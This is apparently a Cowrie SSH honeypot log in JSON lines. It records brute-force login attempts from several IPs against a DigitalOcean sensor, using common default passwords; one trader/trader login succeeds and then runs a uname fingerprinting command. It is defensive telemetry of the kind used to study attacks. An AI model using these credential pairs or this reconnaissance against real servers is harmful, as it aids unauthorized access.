{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52042,"dst_ip":"159.203.135.109","dst_port":22,"session":"73faba8dd062","protocol":"ssh","message":"New connection: 192.109.200.237:52042 (159.203.135.109:22) [session: 73faba8dd062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:16.545512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:16.550526Z","src_ip":"192.109.200.237","session":"73faba8dd062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:16.636812Z","src_ip":"192.109.200.237","session":"73faba8dd062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:16.885061Z","src_ip":"192.109.200.237","session":"73faba8dd062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":43242,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dd94f3076f6","protocol":"ssh","message":"New connection: 103.149.28.157:43242 (159.203.135.109:22) [session: 6dd94f3076f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:17.337599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:17.342800Z","src_ip":"103.149.28.157","session":"6dd94f3076f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:17.592186Z","src_ip":"103.149.28.157","session":"6dd94f3076f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:17.969874Z","src_ip":"192.109.200.237","session":"73faba8dd062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariya","message":"login attempt [root/mariya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:18.342180Z","src_ip":"103.149.28.157","session":"6dd94f3076f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:19.594193Z","src_ip":"103.149.28.157","session":"6dd94f3076f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52058,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c815ce7cb78","protocol":"ssh","message":"New connection: 192.109.200.237:52058 (159.203.135.109:22) [session: 4c815ce7cb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:19.644047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:19.648717Z","src_ip":"192.109.200.237","session":"4c815ce7cb78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:19.733110Z","src_ip":"192.109.200.237","session":"4c815ce7cb78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:19.979318Z","src_ip":"192.109.200.237","session":"4c815ce7cb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:21.065518Z","src_ip":"192.109.200.237","session":"4c815ce7cb78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52486,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e8a521b3dab","protocol":"ssh","message":"New connection: 192.109.200.237:52486 (159.203.135.109:22) [session: 9e8a521b3dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:22.808643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:22.813087Z","src_ip":"192.109.200.237","session":"9e8a521b3dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:22.895672Z","src_ip":"192.109.200.237","session":"9e8a521b3dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:23.143126Z","src_ip":"192.109.200.237","session":"9e8a521b3dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:24.229228Z","src_ip":"192.109.200.237","session":"9e8a521b3dab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52518,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a91d952d6f0","protocol":"ssh","message":"New connection: 192.109.200.237:52518 (159.203.135.109:22) [session: 6a91d952d6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:25.926729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:25.932923Z","src_ip":"192.109.200.237","session":"6a91d952d6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:26.015613Z","src_ip":"192.109.200.237","session":"6a91d952d6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:26.266397Z","src_ip":"192.109.200.237","session":"6a91d952d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:27.352022Z","src_ip":"192.109.200.237","session":"6a91d952d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52534,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1dbdd371a72","protocol":"ssh","message":"New connection: 192.109.200.237:52534 (159.203.135.109:22) [session: b1dbdd371a72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:29.057143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:29.061934Z","src_ip":"192.109.200.237","session":"b1dbdd371a72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:29.144014Z","src_ip":"192.109.200.237","session":"b1dbdd371a72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:29.390442Z","src_ip":"192.109.200.237","session":"b1dbdd371a72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:30.476091Z","src_ip":"192.109.200.237","session":"b1dbdd371a72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50602,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5dcb3259427","protocol":"ssh","message":"New connection: 192.109.200.237:50602 (159.203.135.109:22) [session: f5dcb3259427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.141939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.147702Z","src_ip":"192.109.200.237","session":"f5dcb3259427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.231504Z","src_ip":"192.109.200.237","session":"f5dcb3259427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":34754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3bdeaf1cdb6","protocol":"ssh","message":"New connection: 103.15.222.183:34754 (10.17.0.5:22) [session: a3bdeaf1cdb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.439058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.444270Z","src_ip":"103.15.222.183","session":"a3bdeaf1cdb6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.609054Z","src_ip":"192.109.200.237","session":"f5dcb3259427","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.696456Z","src_ip":"103.15.222.183","session":"a3bdeaf1cdb6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.803686Z","src_ip":"192.109.200.237","session":"f5dcb3259427","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.806213Z","src_ip":"192.109.200.237","session":"f5dcb3259427","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.891326Z","src_ip":"192.109.200.237","session":"f5dcb3259427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:32.895604Z","src_ip":"192.109.200.237","session":"f5dcb3259427","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aezakmi1","message":"login attempt [root/aezakmi1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:33.449615Z","src_ip":"103.15.222.183","session":"a3bdeaf1cdb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:59:34.704284Z","src_ip":"103.15.222.183","session":"a3bdeaf1cdb6","protocol":"ssh"}
